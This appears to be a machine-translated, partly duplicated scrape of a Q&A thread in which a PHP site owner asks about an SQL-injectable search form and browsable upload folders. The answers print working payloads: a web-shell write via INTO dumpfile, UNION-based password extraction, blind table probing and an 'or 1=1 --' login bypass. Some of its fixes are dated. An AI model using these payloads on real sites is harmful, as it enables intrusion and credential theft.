Sql injection 网站安全、sql注入和文件权限

Sql injection 网站安全、sql注入和文件权限,sql-injection,security,Sql Injection,Security,我正在建立一个非常小的网站(使用PHP),我有两个大问题 第一个是关于我的搜索表单 为了检索我的内容,我构建了一个非常简单的搜索表单,然后我使用了一个在线安全工具,并向我展示了我的搜索表单易受SQLi攻击 我对此一无所知,所以我开始测试我在一些网站上发现的一些攻击 到目前为止,只有'或'x'='x起作用(它返回我网站的全部内容,这很糟糕吗?攻击者怎么能伤害我? 第二个问题是关于我的照片,我正在使用一个名为mywebsite.com/uploads/的文件夹来访问我的照片 虽然/upload受保护

我正在建立一个非常小的网站(使用PHP),我有两个大问题 第一个是关于我的搜索表单 为了检索我的内容,我构建了一个非常简单的搜索表单,然后我使用了一个在线安全工具,并向我展示了我的搜索表单易受SQLi攻击 我对此一无所知,所以我开始测试我在一些网站上发现的一些攻击 到目前为止,只有
'或'x'='x
起作用(它返回我网站的全部内容,这很糟糕吗?攻击者怎么能伤害我? 第二个问题是关于我的照片,我正在使用一个名为mywebsite.com/uploads/的文件夹来访问我的照片 虽然/upload受保护,但子文件夹uploads/temp和uploads/thumbs可以通过浏览器看到 这也会伤害你吗? 有什么建议吗?

SQL注入-这很糟糕。 有人可以在你的数据库中运行他想要的任何查询,查找密码,删除你的全部数据等等。 可以通过使用mysql\u real\u escape\u字符串包装查询中的所有用户输入来避免这种情况

关于目录-这实际上取决于您提供的访问。如果文件列表可用,这并不意味着有人可以进行更改/执行它们

SQL注入-这很糟糕。 有人可以在你的数据库中运行他想要的任何查询,查找密码,删除你的全部数据等等。 可以通过使用mysql\u real\u escape\u字符串包装查询中的所有用户输入来避免这种情况


关于目录-这实际上取决于您提供的访问。如果文件列表可用,并不意味着有人可以进行更改/执行它们

如果您允许SQL注入,攻击者可以对您的网站进行各种各样的恶意操作。他们可以注入代码删除数据库,删除整个数据库

如果您以root用户身份登录mysql,他们可能会在您的服务器上写入(并创建)文件

注射

SELECT '<?php system($_GET[''cmd'']); ?>' INTO dumpfile('./command.php');

在mysql查询中使用$search\u query是安全的。

如果您允许SQL注入,攻击者可以对您的网站做各种坏事。他们可以注入代码删除数据库,删除您的整个数据库

如果您以root用户身份登录mysql,他们可能会在您的服务器上写入(并创建)文件

注射

SELECT '<?php system($_GET[''cmd'']); ?>' INTO dumpfile('./command.php');
在mysql查询中使用$search\u查询是安全的。

Ad SQL注入:

  • 如果您有未发布的文章或仅限注册用户阅读的文章等,则显示整个内容可能会出现问题
  • 尝试阅读更多有关SQL注入的内容。可能会执行第二个查询,在数据库中插入新数据,或者更糟的是更改数据(例如密码)。有很多阅读材料,一个开始可能是:清理所有输入,记住:即使你可能找不到通过安全漏洞造成伤害的方法,也不意味着没有人会找到方法;)
广告文件夹:你的意思是任何用户都可以看到文件夹的内容?如果是这样,用户可能会看到他们不应该看到的图片。如果您有充分的理由保护主目录(没有文件列表?),为什么不将其应用于temps/和thumbs/子目录?

Ad SQL Injection:

  • 如果您有未发布的文章或仅限注册用户阅读的文章等,则显示整个内容可能会出现问题
  • 尝试阅读更多关于SQL注入的内容。可以执行第二个查询,在数据库中插入新数据,或者更糟的是更改数据(例如密码)。有很多阅读材料,一个开始可能是:清理所有输入,记住:即使你可能找不到通过安全漏洞造成伤害的方法,也不意味着没有人会找到方法;)

广告文件夹:你的意思是任何用户都可以看到文件夹的内容?如果是这样,用户可能会看到他们不应该看到的图片。如果您有很好的理由保护主目录(没有文件列表?),为什么不将其应用于temps/和thumbs/子目录?

SQL注入非常糟糕,但我喜欢:)

有许多类型的sql注入,比如

远程sql注入
盲sql注入
自动绕过sql注入

这是从网站获取数据的简单方法,黑客可以像程序员一样使用它 看这个例子

mysql_query("SELECT * FROM `table_name` WHERE id=".$_GET['id']." ) ;
我的代码中没有安全性

site.php?id=1

我的查询将执行如下操作

mysql_query("SELECT * FROM `table_name` WHERE id=1 ) ;
mysql_query("SELECT * FROM `table_name` WHERE id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users) ");
如果是黑客,他会杀死你的代码

php?id=1(这里的任何东西都可能产生问题,例如:`a-z a-z/*/”)

因为查询将是这样的

mysql_query("SELECT * FROM `table_name` WHERE id=1' ) ;
site.php?id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users
所以单引号将在查询中出错

黑客可以这样攻击

mysql_query("SELECT * FROM `table_name` WHERE id=1' ) ;
site.php?id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users
在这里,您的查询将像

mysql_query("SELECT * FROM `table_name` WHERE id=1 ) ;
mysql_query("SELECT * FROM `table_name` WHERE id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users) ");
这将起作用:)

盲sql注入

黑客无法使用简易方式远程sql注入

因为它在这里取决于对与错

因此他将使用

像这样

mysql_query("SELECT * FROM `table_name` WHERE id=1' ) ;
site.php?id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users
 and (select user_name from users) ;
如果工作良好,脚本将工作良好,否则将发生错误

他可以知道这样的数据库信息

mysql_query("SELECT * FROM `table_name` WHERE id=1' ) ;
site.php?id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users
示例管理表是
admin

 and (select user_name from users) ;      x error

 and (select user_name from admin) ;      fine
自动旁路

它的blicd sql注入,但只有true条件才能访问admin

mysql_query("SELECT * FROM `users` WHERE `user_name`= ".$_POST['user']." AND `password` ='".md5($_POST['pass'])."' ");
黑客可以这样登录

mysql_query("SELECT * FROM `table_name` WHERE id=1' ) ;
site.php?id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users
user=anything'或1=1--

因此,您的查询将如下所示

mysql_query("SELECT * FROM `users` WHERE `user_name`= anything or 1=1 --");
数据库中的任何内容都是用户错误

但条件或1=1是真的

--将忽略您的密码检查

他很容易接近

保护

addslashes _ mysql_real_escape_string _ intval ( with number only )
您可以使用的文件夹预授权


空index.html,index.php,

SQL注入非常糟糕,但我喜欢:)

有许多类型的sql注入,比如

远程sql注入
盲sql注入
自动绕过sql注入

这是从网站获取数据的简单方法,黑客可以像程序员一样使用它 看这个例子

mysql_query("SELECT * FROM `table_name` WHERE id=".$_GET['id']." ) ;
我的代码中没有安全性

site.php?id=1

我的查询将执行如下操作

mysql_query("SELECT * FROM `table_name` WHERE id=1 ) ;
mysql_query("SELECT * FROM `table_name` WHERE id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users) ");
如果是黑客,他会杀死你的代码

site.php